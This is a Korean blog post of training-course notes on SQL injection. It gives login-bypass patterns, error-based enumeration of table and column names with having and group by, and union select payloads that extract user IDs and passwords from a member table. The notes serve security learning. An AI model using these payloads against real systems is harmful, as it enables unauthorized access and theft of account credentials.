13. SQL Injection
3) 인증우회
- 우선 SQL 인젝션이 가능한지 확인하기 위해 로그인 창에 '(작은따옴표)를 넣음.
- 기존 로그인 인증 sql 구문 : select * from member where bid='[입력한 ID]' and bpass='[입력한 PW]'
1. 우회 패턴
or 'abc'='abc'
or 'ab'='a'+'b'
or 2>1
or 1=1
4) Error based SQL Injection
▣ Error based SQL Injection
- 에러 기반 SQL 인젝션은 일부러 에러를 내어 해당 에러를 체크하며 SQL 인젝션 공격을 수행하는 기법이다.
- ID/PW 필드가 15자리로 고정되어 있기 때문에 이를 우회하여 공격하려면 paros를 통해 응답 메시지를 잡아 필드 길이를 수정해줌.(15 -> 150)
- 원래는 이렇게 해야하나 편의를 위해 서버 설정 파일에서 150으로 바꿔 사용함.
1. 테이블명 및 필드명 획득하기
- group by 절이 어떤 칼럼을 기준으로 그룹을 만들때 having은 결과를 한번더 필터링하는 역할을한다.
select절의 where와 비슷하다.
- 'having 1=1-- 구문을 이용하여 필드명을 획득함.
- 테이블명이 member이고 첫번째 필드명이 idx임을 알 수 있음.
2. 다른 필드명 획득하기
- 컬럼명을 추가적으로 획득하기 위해서는 최소한 하나의 컬럼을 알고 있어야 한다.
- 'group by [컬럼명]-- 구문을 통해 다음 필드명을 얻을 수 있음.
- group by로 지정한 컬럼만 출력할 수 있으나 select * from ~~~ 이기 때문에 참조하지 못하는 다음 필드명을 출력해줌.
- 'group by idx --
- 다음 필드명이 bid임을 알아냈으니 'group by idx, bid -- 이런식으로 늘려가며 찾음.
3. 게시판 테이블명 및 필드명 획득하기
- 게시판 역시 having과 group by를 이용하여 모든 필드명을 획득함.
4. 컬럼 타입 알아내기
- sum()을 이용하여 숫자형인지 아닌지로 구분.
- ; 구분자를 이용하여 두 개의 select를 이용하려하면 sql은 무조건 제일 처음 발생한 명령만을 보여줌.
- 이를 해결하기 위해 union을 이용하여 두 select를 합침.
- union은 앞의 select와 뒤의 select의 개수와 타입의 순서가 모두 일치해야 사용이 가능.
- 즉, ' union select sum(컬럼명) from member -- 를 이용하여 알아냄.
☞ 해당 컬럼이 숫자형식이면.. 개수 에러
☞ 해당 컬럼이 숫자형식이 아니면.. 타입 에러
5. 모든 계정의 id와 pw 획득하기
- 테이블 명과 컬럼명을 획득한 후, union 연산을 통해 결과 값이 게시판에 출력할 수 있다.
- union 은 복합적인 쿼리의 결과를 합하여 출력하기 때문에 필드의 개수가 일치해야 하고, 필드의 타입이 일치해야 한다.
▣ 편법!!!!!
1. 칼럼 개수 구하기
- order by 숫자 : 해당 숫자에 해당하는 칼럼을 정렬해줌.
- 숫자가 특정숫자를 벗어나면 에러가뜸. 에러안나는 맥스 수가 칼럼수!
- ' order by 숫자--
2. union select에 NULL을 활용하자!
- NULL은 데이터타입에 상관없이 모두 출력을 해주기때문에 에러가 나지않음.
- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--
- NULL개수를 칼럼수 만큼 해주고 앞에서부터 차례대로 숫자 1로 바꿔봄.
- 에러가 나지않는다면 INT형이고 난다면 int형이 아님을 알 수있음.
- ' union select 1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--
- ' union select 1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--
==> 요런식으로 계속하면서 찾기!! 어디에 출력되는지 위치도 찾아서 한번에 이용.
- ' union select 1,NULL,bpass,NULL,bid,NULL,NULL,NULL,NULL,NULL from member--
i2sec 대구지점 23기 수료생.
'해킹&보안 > 웹 해킹&보안' 카테고리의 다른 글
[Final] War Game (0) | 2017.06.09 |
---|---|
[D+15] SQL Injection (3) (0) | 2017.05.24 |
[D+13] SQL Injection (0) | 2017.05.22 |
[D+12] Session Management Vulnerabilities (0) | 2017.05.22 |
[D+11] FileUpload & FileDownlaod (0) | 2017.05.21 |